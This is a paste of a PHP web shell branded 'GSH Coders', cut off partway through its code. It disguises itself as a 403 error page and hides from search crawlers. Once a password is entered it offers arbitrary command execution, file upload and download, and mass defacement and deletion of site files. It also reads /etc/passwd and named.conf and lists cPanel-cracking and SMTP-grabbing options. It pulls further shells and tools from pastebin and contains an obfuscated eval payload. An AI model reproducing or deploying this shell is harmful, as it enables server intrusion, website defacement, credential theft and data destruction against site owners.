· 8 years ago · Oct 11, 2017, 02:16 AM
1<?php
2session_start();
3error_reporting(0);
4set_time_limit(0);
5@set_magic_quotes_runtime(0);
6@clearstatcache();
7@ini_set('error_log',NULL);
8@ini_set('log_errors',0);
9@ini_set('max_execution_time',0);
10@ini_set('output_buffering',0);
11@ini_set('display_errors', 0);
12
13$auth_pass = "6988458604002080d97c9b63e391d2fd"; // default: gbw06
14$color = "#00ff00";
15$default_action = 'FilesMan';
16$default_use_ajax = true;
17$default_charset = 'UTF-8';
18if(!empty($_SERVER['HTTP_USER_AGENT'])) {
19 $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
20 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
21 header('HTTP/1.0 404 Not Found');
22 exit;
23 }
24}
25
26function login_shell() {
27?><!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
28<?php
29$errorforbidden = $_SERVER['REQUEST_URI'];
30?>
31<html><head>
32<title>403 Forbidden</title>
33</head><body>
34<h1>Forbidden</h1>
35<p>You don't have permission to access <? print $errorforbidden; ?>
36 on this server.</p>
37<p>Additionally, a 404 Not Found
38error was encountered while trying to use an ErrorDocument to handle the request.</p>
39</body></html>
40<form method="post">
41<input type="password" name="pass">
42</form>
43<?php
44exit;
45}
46if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
47 if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
48 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
49 else
50 login_shell();
51if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
52 @ob_clean();
53 $file = $_GET['file'];
54 header('Content-Description: File Transfer');
55 header('Content-Type: application/octet-stream');
56 header('Content-Disposition: attachment; filename="'.basename($file).'"');
57 header('Expires: 0');
58 header('Cache-Control: must-revalidate');
59 header('Pragma: public');
60 header('Content-Length: ' . filesize($file));
61 readfile($file);
62 exit;
63}
64?>
65<html>
66<head>
67<title>GSH Coders</title>
68<meta name='author' content='Garuda Security Hacker'>
69<meta charset="UTF-8">
70<style type='text/css'>
71@import url(https://fonts.googleapis.com/css?family=Ubuntu);
72
73
74
75html {
76 background: #000000;
77 color: cyan;
78 font-family: 'Ubuntu';
79 font-size: 13px;
80 width: 100%;
81}
82 h2 {
83 -webkit-animation-name: blinker;
84 -webkit-animation-duration: 3s;
85 -webkit-animation-timing-function: linear;
86 -webkit-animation-iteration-count: infinite;
87
88 -moz-animation-name: blinker;
89 -moz-animation-duration: 2s;
90 -moz-animation-timing-function: linear;
91 -moz-animation-iteration-count: infinite;
92
93 animation-name: blinker;
94 animation-duration: 1s;
95 animation-timing-function: linear;
96 animation-iteration-count: infinite;
97 }
98
99 @-moz-keyframes blinker {
100 0% { opacity: 1.0; }
101 50% { opacity: 0.0; }
102 100% { opacity: 1.0; }
103 }
104
105 @-webkit-keyframes blinker {
106 0% { opacity: 1.0; }
107 50% { opacity: 0.0; }
108 100% { opacity: 1.0; }
109 }
110
111 @keyframes blinker {
112 0% { opacity: 1.0; }
113 50% { opacity: 0.0; }
114 100% { opacity: 1.0; }
115 }
116li {
117 display: inline;
118 margin: 5px;
119 padding: 5px;
120 color: blue;
121}
122table, th {
123 border-collapse:collapse;
124 font-family: Tahoma, Geneva, sans-serif;
125 background: transparent;
126 font-family: 'Ubuntu';
127 font-size: 13px;
128}
129 td,hr,gr,.kampret{
130 border-style:solid;
131 border-color:blue ;}
132.table_home, .th_home, .td_home {
133 border: 1px solid blue;
134}
135th {
136 padding: 10px;
137 border: 1px solid blue;
138}
139a {
140 color: #ffffff;
141 text-decoration: none;
142}
143a:hover {
144 color: gold;
145 text-decoration: underline;
146}
147b {
148 color: gold;
149}
150
151hr {
152 border: 1px solid blue;
153}
154
155
156input[type=text], input[type=password],input[type=submit] {
157 background: transparent;
158 color: #ffffff;
159 border: 1px solid #ffffff;
160 margin: 5px auto;
161 padding-left: 5px;
162 font-family: 'Ubuntu';
163 font-size: 13px;
164}
165textarea {
166 border: 1px solid #ffffff;
167 width: 100%;
168 height: 400px;
169 padding-left: 5px;
170 margin: 10px auto;
171 resize: none;
172 background: transparent;
173 color: #ffffff;
174 font-family: 'Ubuntu';
175 font-size: 13px;
176}
177select {
178 width: 152px;
179 background: #000000;
180 color: white;
181 border: 1px solid #ffffff;
182 margin: 5px auto;
183 padding-left: 5px;
184 font-family: 'Ubuntu';
185 font-size: 13px;
186}
187option:hover {
188 background: blue;
189 color: #000000;
190
191}
192#menu{
193 background:url(/welcome.jpg);
194 margin:8px 2px 4px 2px;
195}
196#menu a{
197 padding:4px 18px;
198 border: 1px solid blue;
199 margin:0;
200 background:black;
201 text-decoration:none;
202 letter-spacing:1px;
203 -moz-border-radius: 5px; -webkit-border-radius: 5px; -khtml-border-radius: 5px; border-radius: 5px;
204
205}
206#menu a:hover{
207 background:#191919;
208 border-bottom:1px solid cyan;
209 border-top:1px solid cyan;
210}
211
212</style>
213</head>
214<center>
215<?php
216if (file_exists("php.ini")){
217}else{
218$img = fopen('php.ini', 'w');
219$sec = "safe_mode = OFF
220disable_funtions = NONE";
221fwrite($img ,$sec);
222fclose($img);}
223function w($dir,$perm) {
224 if(!is_writable($dir)) {
225 return "<font color=red>".$perm."</font>";
226 } else {
227 return "<font color=lime>".$perm."</font>";
228 }
229}
230function exe($cmd) {
231if(function_exists('system')) {
232 @ob_start();
233 @system($cmd);
234 $buff = @ob_get_contents();
235 @ob_end_clean();
236 return $buff;
237 } elseif(function_exists('exec')) {
238 @exec($cmd,$results);
239 $buff = "";
240 foreach($results as $result) {
241 $buff .= $result;
242 } return $buff;
243 } elseif(function_exists('passthru')) {
244 @ob_start();
245 @passthru($cmd);
246 $buff = @ob_get_contents();
247 @ob_end_clean();
248 return $buff;
249 } elseif(function_exists('shell_exec')) {
250 $buff = @shell_exec($cmd);
251 return $buff;
252 }
253}
254function perms($file){
255$perms = fileperms($file);
256if (($perms & 0xC000) == 0xC000) {
257$info = 's';
258} elseif (($perms & 0xA000) == 0xA000) {
259$info = 'l';
260} elseif (($perms & 0x8000) == 0x8000) {
261$info = '-';
262} elseif (($perms & 0x6000) == 0x6000) {
263$info = 'b';
264} elseif (($perms & 0x4000) == 0x4000) {
265$info = 'd';
266} elseif (($perms & 0x2000) == 0x2000) {
267$info = 'c';
268} elseif (($perms & 0x1000) == 0x1000) {
269$info = 'p';
270} else {
271$info = 'u';
272}
273$info .= (($perms & 0x0100) ? 'r' : '-');
274$info .= (($perms & 0x0080) ? 'w' : '-');
275$info .= (($perms & 0x0040) ?
276(($perms & 0x0800) ? 's' : 'x' ) :
277(($perms & 0x0800) ? 'S' : '-'));
278$info .= (($perms & 0x0020) ? 'r' : '-');
279$info .= (($perms & 0x0010) ? 'w' : '-');
280$info .= (($perms & 0x0008) ?
281(($perms & 0x0400) ? 's' : 'x' ) :
282(($perms & 0x0400) ? 'S' : '-'));
283$info .= (($perms & 0x0004) ? 'r' : '-');
284$info .= (($perms & 0x0002) ? 'w' : '-');
285$info .= (($perms & 0x0001) ?
286(($perms & 0x0200) ? 't' : 'x' ) :
287(($perms & 0x0200) ? 'T' : '-'));
288return $info;
289}
290function hdd($s) {
291if($s >= 1073741824)
292return sprintf('%1.2f',$s / 1073741824 ).' GB';
293elseif($s >= 1048576)
294return sprintf('%1.2f',$s / 1048576 ) .' MB';
295elseif($s >= 1024)
296return sprintf('%1.2f',$s / 1024 ) .' KB';
297else
298return $s .' B';
299}
300function ambilKata($param, $kata1, $kata2){
301 if(strpos($param, $kata1) === FALSE) return FALSE;
302 if(strpos($param, $kata2) === FALSE) return FALSE;
303 $start = strpos($param, $kata1) + strlen($kata1);
304 $end = strpos($param, $kata2, $start);
305 $return = substr($param, $start, $end - $start);
306 return $return;
307}
308if(get_magic_quotes_gpc()) {
309 function idx_ss($array) {
310 return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
311 }
312 $_POST = idx_ss($_POST);
313}
314function CreateTools($names,$lokasi){
315 if ( $_GET['create'] == $names ){
316 $a= "".$_SERVER['SERVER_NAME']."";
317$b= dirname($_SERVER['PHP_SELF']);
318$c = "/cox_tools/".$names.".php";
319if (file_exists('cox_tools/'.$names.'.php')){
320 echo '<script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';
321 }
322 else {mkdir("cox_tools", 0777);
323file_put_contents('cox_tools/'.$names.'.php', file_get_contents($lokasi));
324echo ' <script type="text/javascript">alert("Done");window.location.href = "cox_tools/'.$names.'.php";</script> ';}}}
325
326CreateTools("wso","http://pastebin.com/raw/3eh3Gej2");
327CreateTools("adminer"."https://www.adminer.org/static/download/4.2.5/adminer-4.2.5.php");
328CreateTools("b374k","http://pastebin.com/raw/rZiyaRGV");
329CreateTools("injection","http://pastebin.com/raw/nxxL8c1f");
330CreateTools("promailerv2","http://pastebin.com/raw/Rk9v6eSq");
331CreateTools("gamestopceker","http://pastebin.com/raw/QSnw1JXV");
332CreateTools("bukapalapak","http://pastebin.com/raw/6CB8krDi");
333CreateTools("tokopedia","http://pastebin.com/dvhzWgby");
334CreateTools("encodedecode","http://pastebin.com/raw/wqB3G5eZ");
335CreateTools("mailer","http://pastebin.com/raw/9yu1DmJj");
336CreateTools("r57","http://pastebin.com/raw/G2VEDunW");
337CreateTools("tokenpp","http://pastebin.com/raw/72xgmtPL");
338CreateTools("extractor","http://pastebin.com/raw/jQnMFHBL");
339CreateTools("bh","http://pastebin.com/raw/3L2ESWeu");
340CreateTools("dhanus","http://pastebin.com/raw/v4xGus6X");
341if(isset($_GET['dir'])) {
342 $dir = $_GET['dir'];
343 chdir($_GET['dir']);
344} else {
345 $dir = getcwd();
346}
347$dir = str_replace("\\","/",$dir);
348$scdir = explode("/", $dir);
349$sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
350$ling="http://".$_SERVER['SERVER_NAME']."".$_SERVER['PHP_SELF']."?create";
351$ds = @ini_get("disable_functions");
352$mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
353$curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
354$wget = (exe('wget --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
355$perl = (exe('perl --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
356$python = (exe('python --help')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
357$show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
358if(!function_exists('posix_getegid')) {
359 $user = @get_current_user();
360 $uid = @getmyuid();
361 $gid = @getmygid();
362 $group = "?";
363} else {
364 $uid = @posix_getpwuid(posix_geteuid());
365 $gid = @posix_getgrgid(posix_getegid());
366 $user = $uid['name'];
367 $uid = $uid['uid'];
368 $group = $gid['name'];
369 $gid = $gid['gid'];
370}
371$d0mains = @file("/etc/named.conf");
372 $users=@file('/etc/passwd');
373 if($d0mains)
374 {
375 $count;
376 foreach($d0mains as $d0main)
377 {
378 if(@ereg("zone",$d0main))
379 {
380 preg_match_all('#zone "(.*)"#', $d0main, $domains);
381 flush();
382 if(strlen(trim($domains[1][0])) > 2)
383 {
384 flush();
385 $count++;
386 }
387 }
388 }
389 }
390
391$sport=$_SERVER['SERVER_PORT'];
392echo "<hr>";
393echo "<table width=100% border=0 >";
394echo "<tr><td align=left>";
395echo "System: <font color=lime>".php_uname()."</font><br>";
396echo "User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br>";
397echo "Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font><br>";
398echo "HDD: <font color=lime>".hdd(disk_free_space("/"))."</font> / <font color=lime>".hdd(disk_total_space("/"))."</font><br>";
399echo "Websites :<font color=lime> $count </font> Domains<br>";
400echo "Port :<font color=lime> $sport</font> <br>";
401echo "Safe Mode: $sm<br>";
402echo "Disable Functions: $show_ds<br>";
403echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
404echo "Current DIR: ";
405foreach($scdir as $c_dir => $cdir) {
406 echo "<a href='?dir=";
407 for($i = 0; $i <= $c_dir; $i++) {
408 echo $scdir[$i];
409 if($i != $c_dir) {
410 echo "/";
411 }
412 }
413 echo "'>$cdir</a>/";
414}
415echo "[ ".w($dir,"Writeable")." ]</td><br />";
416echo " <br />
417<td align=center>
418 <center><h2 style=margin:0; color;white; font-size:100px; line-height:150px; font-weight:bold;>SHELL RECODE BY 4G Lite PRIVATE</h1>
419</td>";
420echo "</tr></table>";
421echo "<br>";
422
423
424echo "<center>";
425echo "<div class=kampret>";
426echo "<ul>";
427echo "<div id=menu>";
428echo "[ <a href='?'>Home</a> ]</li>";
429echo "[ <a href='?dir=$dir&do=upload'>Upload</a> ]";
430echo "[ <a href='?dir=$dir&do=cmd'>Command</a> ]";
431echo "[ <a href='?dir=$dir&do=mass_deface'>Mass Deface</a> ]";
432echo "[ <a href='?dir=$dir&do=config'>Config</a> ]";
433echo "[ <a href='?dir=$dir&do=jumping'>Jumping</a> ]";
434echo "[ <a href='?dir=$dir&do=symlink'>Symlink</a> ]<br><br>";
435echo "[ <a href='?dir=$dir&do=cpanel'>CPanel Crack</a> ]";
436echo "[ <a href='?dir=$dir&do=smtp'>SMTP Grabber</a> ]";
437echo "[ <a href='?dir=$dir&do=zoneh'>Zone-H</a> ]";
438echo "[ <a href='?dir=$dir&do=defacerid'>Defacer.ID</a> ]<br><br>";
439echo "[ <a href='?dir=$dir&do=sql'>MySQL Manager</a> ]";
440echo "[ <a href='?dir=$dir&do=fake_root'>Fake Root</a> ]";
441echo "[ <a href='?dir=$dir&do=auto_edit_user'>Auto Edit User</a> ]";
442echo "[ <a href='?dir=$dir&do=auto_wp'>Auto Edit Title WordPress</a> ]";
443echo "[ <a href='?dir=$dir&do=auto_dwp2'>WordPress Auto Deface V.2</a> ]";
444echo "[ <a href='?dir=$dir&do=passwbypass'>Bypass etc/passw</a> ]<br><br> ";
445echo "[ <a href='?dir=$dir&do=loghunter'>Log Hunter</a> ]";
446echo "[ <a href='?dir=$dir&do=shellchk'>Shell Checker</a> ]";
447echo "[ <a href='?dir=$dir&do=shelscan'>Shell Finder</a> ]";
448echo "[ <a href='?dir=$dir&do=zip'>Zip Menu</a> ]";
449echo "[ <a href='?dir=$dir&do=about'>About</a> ]";
450echo "[ <a href='?dir=$dir&do=metu'>LogOut</a><br> ]";
451echo "</div>";
452echo "</ul>";
453echo "</div>";
454echo "</center>";
455echo "<br>";
456
457if($_GET['do'] == 'upload') {
458 echo "<center>";
459 if($_POST['upload']) {
460 if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
461 $act = "<font color=lime>Uploaded!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
462 } else {
463 $act = "<font color=red>failed to upload file</font>";
464 }
465 }
466 echo "Upload File: [ ".w($dir,"Writeable")." ]<form method='post' enctype='multipart/form-data'><input type='file' name='ix_file'><input type='submit' value='upload' name='upload'></form>";
467 echo $act;
468 echo "</center>";
469}
470 elseif($_GET['do'] == 'cmd') {
471 echo "<form method='post'>
472 <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).":~# </font>
473 <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
474 </form>";
475 if($_POST['do_cmd']) {
476 echo "<pre>".exe($_POST['cmd'])."</pre>";
477 }
478} elseif($_GET['do'] == 'mass_deface') {
479 echo "<center><form action=\"\" method=\"post\">\n";
480 $dirr=$_POST['d_dir'];
481 $index = $_POST["script"];
482 $index = str_replace('"',"'",$index);
483 $index = stripslashes($index);
484 function edit_file($file,$index){
485 if (is_writable($file)) {
486 clear_fill($file,$index);
487 echo "<Span style='color:green;'><strong> [+] Nyabun 100% Successfull </strong></span><br></center>";
488 }
489 else {
490 echo "<Span style='color:red;'><strong> [-] Ternyata Tidak Boleh Menyabun Disini :( </strong></span><br></center>";
491 }
492 }
493 function hapus_massal($dir,$namafile) {
494 if(is_writable($dir)) {
495 $dira = scandir($dir);
496 foreach($dira as $dirb) {
497 $dirc = "$dir/$dirb";
498 $lokasi = $dirc.'/'.$namafile;
499 if($dirb === '.') {
500 if(file_exists("$dir/$namafile")) {
501 unlink("$dir/$namafile");
502 }
503 } elseif($dirb === '..') {
504 if(file_exists("".dirname($dir)."/$namafile")) {
505 unlink("".dirname($dir)."/$namafile");
506 }
507 } else {
508 if(is_dir($dirc)) {
509 if(is_writable($dirc)) {
510 if(file_exists($lokasi)) {
511 echo "[<font color=lime>DELETED</font>] $lokasi<br>";
512 unlink($lokasi);
513 $idx = hapus_massal($dirc,$namafile);
514 }
515 }
516 }
517 }
518 }
519 }
520 }
521 function clear_fill($file,$index){
522 if(file_exists($file)){
523 $handle = fopen($file,'w');
524 fwrite($handle,'');
525 fwrite($handle,$index);
526 fclose($handle); } }
527
528 function gass(){
529 global $dirr , $index ;
530 chdir($dirr);
531 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
532 $files = scandir($dirr) ;
533 $notallow = array(".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","..",".");
534 sort($files);
535 $n = 0 ;
536 foreach ($files as $file){
537 if ( $file != $me && is_dir($file) != 1 && !in_array($file, $notallow) ) {
538 echo "<center><Span style='color: #8A8A8A;'><strong>$dirr/</span>$file</strong> ====> ";
539 edit_file($file,$index);
540 flush();
541 $n = $n +1 ;
542 }
543 }
544 echo "<br>";
545 echo "<center><br><h3>$n Kali Anda Telah Ngecrot Disini </h3></center><br>";
546 }
547 function ListFiles($dirrall) {
548
549 if($dh = opendir($dirrall)) {
550
551 $files = Array();
552 $inner_files = Array();
553 $me = str_replace(dirname(__FILE__).'/','',__FILE__);
554 $notallow = array($me,".htaccess","error_log","_vti_inf.html","_private","_vti_bin","_vti_cnf","_vti_log","_vti_pvt","_vti_txt","cgi-bin",".contactemail",".cpanel",".fantasticodata",".htpasswds",".lastlogin","access-logs","cpbackup-exclude-used-by-backup.conf",".cgi_auth",".disk_usage",".statspwd","Thumbs.db");
555 while($file = readdir($dh)) {
556 if($file != "." && $file != ".." && $file[0] != '.' && !in_array($file, $notallow) ) {
557 if(is_dir($dirrall . "/" . $file)) {
558 $inner_files = ListFiles($dirrall . "/" . $file);
559 if(is_array($inner_files)) $files = array_merge($files, $inner_files);
560 } else {
561 array_push($files, $dirrall . "/" . $file);
562 }
563 }
564 }
565
566 closedir($dh);
567 return $files;
568 }
569 }
570 function gass_all(){
571 global $index ;
572 $dirrall=$_POST['d_dir'];
573 foreach (ListFiles($dirrall) as $key=>$file){
574 $file = str_replace('//',"/",$file);
575 echo "<center><strong>$file</strong> ===>";
576 edit_file($file,$index);
577 flush();
578 }
579 $key = $key+1;
580 echo "<center><br><h3>$key Kali Anda Telah Ngecrot Disini </h3></center><br>"; }
581 function sabun_massal($dir,$namafile,$isi_script) {
582 if(is_writable($dir)) {
583 $dira = scandir($dir);
584 foreach($dira as $dirb) {
585 $dirc = "$dir/$dirb";
586 $lokasi = $dirc.'/'.$namafile;
587 if($dirb === '.') {
588 file_put_contents($lokasi, $isi_script);
589 } elseif($dirb === '..') {
590 file_put_contents($lokasi, $isi_script);
591 } else {
592 if(is_dir($dirc)) {
593 if(is_writable($dirc)) {
594 echo "[<font color=lime>DONE</font>] $lokasi<br>";
595 file_put_contents($lokasi, $isi_script);
596 $idx = sabun_massal($dirc,$namafile,$isi_script);
597 }
598 }
599 }
600 }
601 }
602 }
603 if($_POST['mass'] == 'onedir') {
604 echo "<br> Versi Text Area<br><textarea style='background:black;outline:none;color:red;' name='index' rows='10' cols='67'>\n";
605 $ini="http://";
606 $mainpath=$_POST[d_dir];
607 $file=$_POST[d_file];
608 $dir=opendir("$mainpath");
609 $code=base64_encode($_POST[script]);
610 $indx=base64_decode($code);
611 while($row=readdir($dir)){
612 $start=@fopen("$row/$file","w+");
613 $finish=@fwrite($start,$indx);
614 if ($finish){
615 echo"$ini$row/$file\n";
616 }
617 }
618 echo "</textarea><br><br><br><b>Versi Text</b><br><br><br>\n";
619 $mainpath=$_POST[d_dir];$file=$_POST[d_file];
620 $dir=opendir("$mainpath");
621 $code=base64_encode($_POST[script]);
622 $indx=base64_decode($code);
623 while($row=readdir($dir)){$start=@fopen("$row/$file","w+");
624 $finish=@fwrite($start,$indx);
625 if ($finish){echo '<a href="http://' . $row . '/' . $file . '" target="_blank">http://' . $row . '/' . $file . '</a><br>'; }
626 }
627
628 }
629 elseif($_POST['mass'] == 'sabunkabeh') { gass(); }
630 elseif($_POST['mass'] == 'hapusmassal') { hapus_massal($_POST['d_dir'], $_POST['d_file']); }
631 elseif($_POST['mass'] == 'sabunmematikan') { gass_all(); }
632 elseif($_POST['mass'] == 'massdeface') {
633 echo "<div style='margin: 5px auto; padding: 5px'>";
634 sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
635 echo "</div>"; }
636 else {
637 echo "
638 <center><font style='text-decoration: underline;'>
639 Select Type:<br>
640 </font>
641 <select class=\"select\" name=\"mass\" style=\"width: 450px;\" height=\"10\">
642 <option value=\"onedir\">Mass Deface 1 Dir</option>
643 <option value=\"massdeface\">Mass Deface ALL Dir</option>
644 <option value=\"sabunkabeh\">Sabun Massal Di Tempat</option>
645 <option value=\"sabunmematikan\">Sabun Massal Bunuh Diri</option>
646 <option value=\"hapusmassal\">Mass Delete Files</option></center></select><br>
647 <font style='text-decoration: underline;'>Folder:</font><br>
648 <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
649 <font style='text-decoration: underline;'>Filename:</font><br>
650 <input type='text' name='d_file' value='69.php' style='width: 450px;' height='10'><br>
651 <font style='text-decoration: underline;'>Index File:</font><br>
652 <textarea name='script' style='width: 450px; height: 200px;'>Hacked By Anazvr</textarea><br>
653 <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
654 </form></center>";
655 }
656 }
657elseif($_GET['do'] == 'zip') {
658 echo "<center><h1>Zip Menu</h1>";
659function rmdir_recursive($dir) {
660 foreach(scandir($dir) as $file) {
661 if ('.' === $file || '..' === $file) continue;
662 if (is_dir("$dir/$file")) rmdir_recursive("$dir/$file");
663 else unlink("$dir/$file");
664 }
665 rmdir($dir);
666}
667if($_FILES["zip_file"]["name"]) {
668 $filename = $_FILES["zip_file"]["name"];
669 $source = $_FILES["zip_file"]["tmp_name"];
670 $type = $_FILES["zip_file"]["type"];
671 $name = explode(".", $filename);
672 $accepted_types = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
673 foreach($accepted_types as $mime_type) {
674 if($mime_type == $type) {
675 $okay = true;
676 break;
677 }
678 }
679 $continue = strtolower($name[1]) == 'zip' ? true : false;
680 if(!$continue) {
681 $message = "Itu Bukan Zip , , GOBLOK COK";
682 }
683 $path = dirname(__FILE__).'/';
684 $filenoext = basename ($filename, '.zip');
685 $filenoext = basename ($filenoext, '.ZIP');
686 $targetdir = $path . $filenoext;
687 $targetzip = $path . $filename;
688 if (is_dir($targetdir)) rmdir_recursive ( $targetdir);
689 mkdir($targetdir, 0777);
690 if(move_uploaded_file($source, $targetzip)) {
691 $zip = new ZipArchive();
692 $x = $zip->open($targetzip);
693 if ($x === true) {
694 $zip->extractTo($targetdir);
695 $zip->close();
696
697 unlink($targetzip);
698 }
699 $message = "<b>Sukses Gan :)</b>";
700 } else {
701 $message = "<b>Error Gan :(</b>";
702 }
703}
704echo '<table style="width:100%" border="1">
705 <tr><td><h2>Upload And Unzip</h2><form enctype="multipart/form-data" method="post" action="">
706<label>Zip File : <input type="file" name="zip_file" /></label>
707<input type="submit" name="submit" value="Upload And Unzip" />
708</form>';
709if($message) echo "<p>$message</p>";
710echo "</td><td><h2>Zip Backup</h2><form action='' method='post'><font style='text-decoration: underline;'>Folder:</font><br><input type='text' name='dir' value='$dir' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_backup.zip' style='width: 450px;' height='10'><br><input type='submit' name='backup' value='BackUp!' style='width: 215px;'></form>";
711 if($_POST['backup']){
712 $save=$_POST['save'];
713 function Zip($source, $destination)
714{
715 if (extension_loaded('zip') === true)
716 {
717 if (file_exists($source) === true)
718 {
719 $zip = new ZipArchive();
720
721 if ($zip->open($destination, ZIPARCHIVE::CREATE) === true)
722 {
723 $source = realpath($source);
724
725 if (is_dir($source) === true)
726 {
727 $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST);
728
729 foreach ($files as $file)
730 {
731 $file = realpath($file);
732
733 if (is_dir($file) === true)
734 {
735 $zip->addEmptyDir(str_replace($source . '/', '', $file . '/'));
736 }
737
738 else if (is_file($file) === true)
739 {
740 $zip->addFromString(str_replace($source . '/', '', $file), file_get_contents($file));
741 }
742 }
743 }
744
745 else if (is_file($source) === true)
746 {
747 $zip->addFromString(basename($source), file_get_contents($source));
748 }
749 }
750
751 return $zip->close();
752 }
753 }
754
755 return false;
756}
757 Zip($_POST['dir'],$save);
758 echo "Done , Save To <b>$save</b>";
759 }
760 echo "</td><td><h2>Unzip Manual</h2><form action='' method='post'><font style='text-decoration: underline;'>Zip Location:</font><br><input type='text' name='dir' value='$dir/file.zip' style='width: 450px;' height='10'><br><font style='text-decoration: underline;'>Save To:</font><br><input type='text' name='save' value='$dir/cox_unzip' style='width: 450px;' height='10'><br><input type='submit' name='extrak' value='Unzip!' style='width: 215px;'></form>";
761 if($_POST['extrak']){
762 $save=$_POST['save'];
763 $zip = new ZipArchive;
764 $res = $zip->open($_POST['dir']);
765 if ($res === TRUE) {
766 $zip->extractTo($save);
767 $zip->close();
768 echo 'Succes , Location : <b>'.$save.'</b>';
769 } else {
770 echo 'Gagal Mas :( Ntahlah !';
771 }
772 }
773echo '</tr></table>';
774 }
775 elseif($_GET['do'] == 'shellchk') {
776 eval(str_rot13(gzinflate(str_rot13(base64_decode(('vUddQtswFH1epf4HcCE1VUxbNvEwdSMGd9FeJtGhPaygyLZ5B6jc5AaHORP/fdf5IoXxsBeiSbGdZu491z6+cTiA1GVPdCkwDTIaDnM5lyVupoT5Nc1ymWWmWpZdRm9FXWOGqzguTlue4Utjpa+p53a411OCIcKZFCxqGVUES63F8XGSylAx3jr+oATX45SXE3LBubGwAsM16RLpY5Jlp+aHh1RR8jscWaPZpI0dzbay/hdZJJqkziiFUZV5t5ohSmIE1POy0M+Bl+381rjEL1whj5xmh/kwvC85oifDTp6wqlXyADr2ynAJKJgpiEaeTrCvLaDIA/J0OCD47FswS6Yi85pEzzrYVoNF2ujEg0OX0jJ1duvpWlW+hORmhxQIElNvPuS/inBksxEA98JsNaPjRIiU9civj2FpYL5jhElwWdN8KmUSZ3fm5NNn2pVFMWILSHUuPTFerhbfSYs1Xax+nV2s4u+Xl4slegNI6MckWBxvdmiUx6SRWHUftOXZ5jWmD/Gi9qAUbdMVvKPKP6elKVxA1QayIrWnG3A59y6ibiMjrDMd9OI+9UfcyU9QsvB3W5VwT4eDHam5xc85F8ACd40q3EvfeMxADe3HzatgAcLD58AhwYNoyOxJDvqc5pYhhrOHCO8Y097nXM6vJACLfvCEct6IWaMfGxj5VXOGSwk5Opai4J5n72gj0Wfza+sM+x29+D6bR5eFWaK2xCcCQcELBxy9Y8DbOjFY2nF26JjF88lC3zmYZHEJ8hYkTFaJFtp7j3dpzPvfdKxZKYx9j1CWkFJfuSbvZMzDAf78MRdXgQ724/Oz5cVtR7dA7BK95oW9TvX6id8rrLYhYIaupzSEqntthpHSeYK2aXmfYEWLxqojGkjH3mRJcryqge1uN6CvYvgbLZdJJPqPi928ml2vNqHd+yU4Q6botthiDsI//AU='))))));
777 } elseif($_GET['do'] == 'loghunter')
